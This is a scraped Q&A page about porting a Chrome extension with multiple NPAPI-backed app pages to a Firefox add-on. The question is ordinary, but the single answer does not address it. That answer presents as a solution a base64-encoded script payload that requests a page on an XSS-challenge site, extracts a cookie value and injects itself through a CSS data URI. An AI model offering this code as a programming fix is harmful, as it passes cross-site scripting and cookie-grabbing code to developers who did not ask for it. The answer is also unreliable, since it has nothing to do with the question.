Porting Chrome Extension with multiple app pages to Firefox

ぃ、小莉子 提交于 2019-12-06 09:09:35

问题


Chrome

I have a Chrome Extension that behaves like a web app (apart from using chrome.* APIs and Cross-Origin Requests) with multiple html pages which all use the background.html to communicate with a NPAPI plugin.

The extension's structure (from the extension's root) is as follows:

  • background.html
  • plugin/ (NPAPI plugin bundles)
  • frontend/
    • main.html
    • foo.html
    • bar.html
    • ..

The background.html is loaded upon extension install and loads the NPAPI plugin, running indefinitely (until browser closes or extension is deactivated/removed).

Upon clicking the extension's toolbar button, main.html is opened, which provides a UI nav to access the other pages foo.html and bar.html.

Any of these pages uses chrome.extension.getBackgroundPage() to call methods of the NPAPI plugin and receive responses synchronously.


Firefox

Concerining the background NPAPI plugin, this was already answered in a previous question of mine.

From the options available in the current addon sdk, Firefox restricts message passing to JSON serializable values, thus I can no longer call the NPAPI plugin method directly (solved by passing the return value of the plugin along).

The question remaining concerns the frontend app pages, which are local and should be trusted scripts. I have experimented loading them as Panels, but Panels don't seem suitable for a complete UI page, but rather for small snippets of information.

Is there a way to load these pages without injecting a page-mod contentscript in every page programatically? (which also requires injecting a new script upon page navigation).


回答1:


Use the CSSOM and a data URI to load the pages programmatically:

var foo = btoa("<script>x=new XMLHttpRequest();x.open(\u0022GET\u0022,\u0022http://xssme.html5sec.org/xssme2/\u0022,true);x.onload=function() { alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script>")

var bar = atob(foo);

var baz ='data:text/html;' + foo;

var stylesheet = document.styleSheets[0].cssRules;

stylesheet.insertRule("body { background-image: url( " + baz + " ); }", stylesheet.length - 1);

References

  • Data URI Converter

  • NPM: datauri package



来源:https://stackoverflow.com/questions/11625510/porting-chrome-extension-with-multiple-app-pages-to-firefox

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!